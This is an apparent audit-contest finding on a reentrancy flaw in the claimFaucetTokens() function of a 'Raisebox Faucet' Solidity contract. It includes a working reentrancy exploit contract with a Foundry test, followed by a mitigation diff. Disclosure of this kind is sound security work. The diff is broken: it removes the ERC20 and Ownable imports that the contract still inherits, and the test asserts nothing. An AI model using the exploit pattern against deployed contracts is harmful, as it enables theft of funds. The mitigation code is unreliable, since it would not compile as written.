Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: high

claimFaucetTokens() Lacks Reentrancy Protection

Author Revealed upon completion

Root + Impact

Description

Expected Behavior:

The claimFaucetTokens() function should transfer tokens and ETH safely to users in a way that prevents reentrancy.

External calls (like sending ETH) should be protected so attackers can’t repeatedly drain the faucet by reentering before state updates finish.

Actual Behavior:

The function performs an external call using faucetClaimer.call{value: sepEthAmountToDrip}("") without a reentrancy guard.

This allows a malicious contract to reenter claimFaucetTokens() within the same transaction, bypassing the cooldown and claim count logic potentially draining ETH and faucet tokens.



Root Cause:

The contract performs an unprotected external call (.call{value: ...}) before completing all state updates.

This introduces a reentrancy vector, especially since the cooldown and claim counters (lastClaimTime, dailyClaimCount) can be manipulated mid-call.

// Root cause in the codebase with @> marks to highlight the relevant section
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
...
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
@> if (success) { emit SepEthDripped(faucetClaimer, sepEthAmountToDrip); }
else { revert RaiseBoxFaucet_EthTransferFailed(); }
}
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood

High: Very likely since any malicious contract can exploit .call() easily if not guarded.

Impact:

1.Attackers can reenter before state updates, claiming multiple times in one transaction.

2.ETH and faucet tokens can be drained quickly, bypassing intended claim limits.

3.Causes financial and functional failure of the faucet system.



Proof of Concept

Explanation:

The exploit reenters claimFaucetTokens() via the fallback when ETH is sent, before cooldowns and claim counts are finalized ,letting it drain multiple claims in one go.

pragma solidity ^0.8.30;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract ReentrancyExploit {
RaiseBoxFaucet faucet;
bool attacked = false;
constructor(address faucetAddress) {
faucet = RaiseBoxFaucet(faucetAddress);
}
// Fallback triggers reentrancy
receive() external payable {
if (!attacked) {
attacked = true;
faucet.claimFaucetTokens(); // reenter claim
}
}
function exploit() external {
faucet.claimFaucetTokens();
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet faucet;
ReentrancyExploit exploit;
function setUp() public {
faucet = new RaiseBoxFaucet("RaiseBox", "RBF", 100 ether, 0.01 ether, 1 ether);
exploit = new ReentrancyExploit(address(faucet));
vm.deal(address(faucet), 2 ether);
}
function testReentrancyAttack() public {
exploit.exploit();
// Exploit drains more than intended per claim
emit log_named_uint("Exploit ETH", address(exploit).balance);
}
}

Recommended Mitigation

Explanation

Adds ReentrancyGuard from OpenZeppelin.

Applies nonReentrant to ensure that no nested external calls to the same function can occur.

Prevents multiple claims within a single transaction.

Protects both ETH and token balances from reentrancy-based draining.

- remove this code
+ add this code
@@
-import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
-import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
-import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
-contract RaiseBoxFaucet is ERC20, Ownable {
+contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
@@
-function claimFaucetTokens() public {
+function claimFaucetTokens() public nonReentrant {

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.